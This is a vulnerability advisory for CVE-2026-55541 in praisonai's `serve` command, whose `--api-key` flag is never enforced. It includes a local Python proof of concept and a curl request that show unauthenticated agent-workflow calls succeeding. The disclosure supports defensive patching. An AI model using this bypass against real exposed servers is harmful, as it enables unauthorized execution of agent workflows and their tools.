CVE-2026-55541 — Vulnerability in praisonai — CVE Details

## Summary `praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI. ## Affected versions - Confirmed on **4.6.50** (current PyPI, 2026-06-02) - Likely since **4.6.34** when the serve subsystem shipped - File: `src/praisonai/praisonai/cli/features/serve.py` ## What happens The CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `_create_agents_app(config)`. But that function never reads `config["api_key"]`. The FastAPI app gets created with no auth at all. Same thing in `_create_unified_app`. The help text says `--api-key <key> API key for authentication`, so this isn't ambiguous — it's supposed to protect the server. It just doesn't. ``` $ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py 107: --api-key <key> API key for authentication 199: "api_key": {"default": None}, 847: "api_key": {"default": None}, ``` ## Endpoints exposed without auth - `POST /agents` — runs the full agent workflow - `POST /agents/{name}` — invokes a specific agent - `POST /api/v1/agents/{id}/invoke` — n8n integration endpoint - `GET /` — lists all endpoints - `GET /__praisonai__/discovery` — service discovery ## Not the same as CVE-2026-44338 CVE-2026-44338 was about the legacy `deploy/api.py` hardcoding `AUTH_ENABLED = False`. That was fixed in 4.6.34. This bug is in the newer `serve` subsystem that shipped in the same release — the `--api-key` flag exists but was never connected to anything. ## PoC ### Setup ```bash python3 -m venv /tmp/poc-venv /tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml ``` ### Script ```python import sys, types, tempfile, os # Stub heavy deps so we only test the serve auth logic for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server", "praisonai.api", "praisonai.api.agent_invoke", "praisonai.agents_generator", "praisonai.inc"]: sys.modules[m] = types.ModuleType(m) disc = sys.modules["praisonai.endpoints.discovery"] class Fake: def __init__(self, **k): pass def add_provider(self, *a, **k): pass def add_endpoint(self, *a, **k): pass def to_dict(self): return {} disc.create_discovery_document = lambda **k: Fake() disc.EndpointInfo = Fake disc.ProviderInfo = Fake sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False class FakeGen: def __init__(self, **k): pass def generate_crew_and_kickoff(self): return {"executed": True, "result": "workflow ran"} sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen class FakeLLM: def to_dict(self): return {} sys.modules["praisonai.inc"].LLMConfig = FakeLLM f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) f.write("name: T\nagents:\n a:\n name: A\n role: R\n goal: G\n backstory: B\n") f.flush() from praisonai.cli.features.serve import ServeHandler app = ServeHandler()._create_agents_app({ "file": f.name, "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "supersecret", # <-- should protect the server }) from starlette.testclient import TestClient c = TestClient(app) r1 = c.post("/agents", json={"query": "run"}) r2 = c.post("/agents", json={"query": "run"}, headers={"Authorization": "Bearer TOTALLY_WRONG"}) print(f"No auth header → {r1.status_code}") # 200 print(f"Wrong key → {r2.status_code}") # 200 os.unlink(f.name) ``` ### Output ``` No auth header → 200 Wrong key → 200 ``` Both succeed. The key is ignored. ### Live server test ```bash # start server with --api-key praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999 # hit it without any auth curl -s -X POST http://localhost:9999/agents \ -H "Content-Type: application/json" \ -d '{"query":"run all agents"}' # → 200, workflow executes ``` ## Impact Anyone who can reach the server can trigger agent workflows without credentials. The operator set `--api-key` and got no error, so they think it's protected. What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn. ## Fix `_create_agents_app()` and `_create_unified_app()` need to actually read `config["api_key"]` and add a FastAPI dependency that checks the `Authorization: Bearer` header. When binding to a non-loopback address without `--api-key`, the server should warn or refuse to start. ## References - CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)